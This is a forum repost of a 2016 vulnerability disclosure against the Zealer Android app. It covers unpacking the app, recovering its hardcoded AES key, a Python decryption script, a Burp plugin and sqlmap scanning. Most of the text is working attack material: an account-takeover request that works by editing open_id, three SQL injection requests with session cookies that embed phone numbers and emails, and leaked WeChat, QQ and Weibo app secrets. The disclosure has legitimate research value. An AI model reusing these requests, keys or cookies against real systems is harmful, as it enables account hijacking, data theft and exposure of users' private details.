HanDs
管理员

[7月漏洞公开] Zealer_android客户端安全检测(从脱壳到burp自动加解密插件案例/SQL注入/逻辑漏洞/附AES加解密脚本POC) 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

Zealer的Android客户端,采用AES加密请求和返回数据包,其APK本身加了数字公司的壳。
这里讲的是真相,偏少传道授业,稍后会有关于burp自动加解密插件的文章发布在drops,作者是:bit4。

详细说明:

Package: com.zealer.app

Application Label: ZEALER

Process Name: com.zealer.app

Version: 2.0.4

Data Directory: /data/data/com.zealer.app

APK Path: /data/app/com.zealer.app-1/base.apk

Main activity: com.qihoo.util.StartActivity

通过脱去数字公司加固外壳,反编译代码获得AES算法详细,

再通过编写burp插件,实现自动加解密客户端所调用接口的数据,

最后进行批量安全扫描与逻辑漏洞测试。

漏洞证明:

1、ZealerAPK安装在Nexus6上,打开调试模式,并Root。通过"drizzleDumper"对ZealerAPK脱去数字公司加固外壳,得到dex。

脱壳1.png



2、拷贝dex至PC机,dex2jar,查看源代码,在"com/zealer.app/utils/AESUtil.class"可以得到整个加解密类的明文代码,未做混淆。

AES算法详细.png



3、写一个PY验证:

code 区域
from Crypto.Cipher import AES
import base64
import urlparse
import urllib

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[0:-ord(s[-1])]

class AESCipher:
def __init__( self ):
self.key = "@[email protected]"
self.iv = "0123456789ABCDEF"

def encrypt( self, raw ):
"""
Returns hex encoded encrypted value!
"""
raw = pad(raw)
#iv = Random.new().read(AES.block_size);
cipher = AES.new( self.key, AES.MODE_CBC, self.iv )
#aes_result = ( iv + cipher.encrypt(raw) ).encode("hex")
result = base64.encodestring(cipher.encrypt(raw))
return result

def decrypt( self, enc ):
"""
Requires hex encoded param to decrypt
"""
enc = base64.decodestring(enc)
cipher = AES.new(self.key, AES.MODE_CBC, self.iv )
return unpad(cipher.decrypt( enc))

if __name__ == "__main__":
while True:
r_input = raw_input("\r\nplease input the decode URL:\r\n")
input_str = str(r_input)
if "?" in input_str:
url_para = urlparse.urlparse(input_str).query
else:
url_para = input_str
print 'Only support links with parameters in the request.'

lists = url_para.split('&')
aes = AESCipher()
print '\r'
for item in lists:
try:
print item.split("=")[0]+" : "+aes.decrypt(urllib.unquote(item.split("=")[1]))
except Exception, e:
pass
#exit()

把带参数的链接input进去回车就可以看到参数的明文:

AESpydecode.png



[email protected] 写一个burp插件,

设计流程如下:

插件流程.png

原始请求包是这样的:

原始请求包.png

实现效果如下:

插件效果.png

题外话:关于该burp插件的开发过程,@bit4 会发布在drops。

5、现在就可以在PC上使用扫描器来自动化检测漏洞了,方法是把流量都转发到burp代理来。这里以sqlmap扫描注入漏洞来做个例子。

code 区域
sqlmap.py -r app.zealer.txt --proxy=http://127.0.0.1:8080/

burp自动加解密,sqlmap跑得不亦乐乎。

sql注入过程.png



6、安全漏洞总结:

①任意微博账户登录:http://wooyun.org/bugs/wooyun-2010-0215238的升级版,现在只需要改数据包中的明文open_id值提交请求就可以获得该微博账号登录Zealer的z_q1值,可以登录Web端。

code 区域
POST /call/social?access_token=12312312312312312312312312312312&android=android&channel=004&expires_in=1465585200416&nick_name=wooyun&open_id=5217947713&profile_image_url=http://zone.wooyun.org/upload/avatar/avatar_65641438737858_b.jpg&type=weibo&appVersion=2.0.4 HTTP/1.1
Content-Length: 0
Host: app.zealer.com
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 6.0; zh-cn; PRO 6 Build/MRA58K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip

微博登录.png

得到z_q1值后登录web端,可以看到ZEALER-FIX的账号已被登录:

微博登录fix.png



②登录接口暴力破解:

登录接口暴力破解1.png

登录接口暴力破解2.png



③短信验证码暴力破解(猜想可用于密码找回,未验证):

短信验证码暴力破解1.png

短信验证码暴力破解2.png



④泄露第三方SecretKey:

第三方调用key.png

code 区域
微信
wx6d57145b266819b7 18be9764a94cf37dfa45ebc09937b742
wx31585081521996f7 39123eba15a1ccb61b741567ce673633
QQ
1104974936 iuTcCKDNAr6TDO3i
新浪微博
3023567517 98ea848255a45a4630a993d6489d2d44

weixinapi.png



⑤sql注入3个,自行替换其中的cookie值再去验证。

code 区域
POST /recommend/list?android=android&type=index HTTP/1.1
Content-Length: 0
Host: app.zealer.com
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 5.1; zh-cn; MX5 Build/LMY47I) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: zealer=20d1e4a347e9abf307cc2617532d82d72bf477c5a%3A4%3A%7Bi%3A0%3Bs%3A6%3A%22804100%22%3Bi%3A1%3Bs%3A11%3A%2213085632914%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A6%3A%7Bs%3A8%3A%22username%22%3Bs%3A10%3A%22Z_KVx9R9UC%22%3Bs%3A8%3A%22nickname%22%3Bs%3A11%3A%2213085632914%22%3Bs%3A5%3A%22email%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22purview%22%3Bs%3A4%3A%22user%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22Y%22%3Bs%3A4%3A%22type%22%3Bs%3A0%3A%22%22%3B%7D%7D; z_q1=356u5v2hdrjnicicp3fqj9h1t7
Cookie2: $Version=1
Accept-Encoding: gzip

code 区域
POST /user/notice?android=android&channel=004&page=1&token=g851pf9tvq62o7p1vhkggrmg06&appVersion=2.0.4 HTTP/1.1
Content-Length: 0
Host: app.zealer.com
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 6.0; zh-cn; PRO 6 Build/MRA58K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: z_q1=g851pf9tvq62o7p1vhkggrmg06; zealer=d31588a0d9993c07ed4da902f55eca2ac3961d09a%3A4%3A%7Bi%3A0%3Bs%3A6%3A%22239112%22%3Bi%3A1%3Bs%3A11%3A%2215920390845%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A6%3A%7Bs%3A8%3A%22username%22%3Bs%3A10%3A%22sz123%22%3Bs%3A8%3A%22nickname%22%3Bs%3A10%3A%22sz123%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22123%40163.com%22%3Bs%3A7%3A%22purview%22%3Bs%3A4%3A%22user%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22N%22%3Bs%3A4%3A%22type%22%3Bs%3A0%3A%22%22%3B%7D%7D
Cookie2: $Version=1
Accept-Encoding: gzip

sql2.png

code 区域
GET /reMobile/siftData?cartegory=phone&cid=&memory=&mid=&net=&order=2&parts=&rolex=12* HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://fix.zealer.com/reMobile/
Cookie: z_q1=89rg5pqc2mdh4c4h6hmqih8k22; Hm_lvt_93a776aa5a5632380561feba017dd90f=1463554266,1463554507; Hm_lpvt_93a776aa5a5632380561feba017dd90f=1463554507; z_q1=89rg5pqc2mdh4c4h6hmqih8k22; HMACCOUNT=39D8814D3EB2E447
Host: fix.zealer.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

sql.png



参考信息:

code 区域
《一种常规Android脱壳技术的拓展(附工具)》 http://www.freebuf.com/sectool/105147.html
[email protected] 提供插件帮助,希望drops赶紧发。

修复方案:

不要信任前端、数据加密,在服务端做好校验是才是王道。

修复参考:

code 区域
《Android安全开发之浅谈密钥硬编码》http://drops.wooyun.org/tips/15870


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
Zealer_android 客户端安全检测 ( 从脱壳到 burp 自动加解密插件案例 /SQL 注入 / 逻辑漏洞 / AES 加解密脚本 POC )
#1楼
发帖时间:2016-7-19   |   查看数:0   |   回复数:0
游客组
快速回复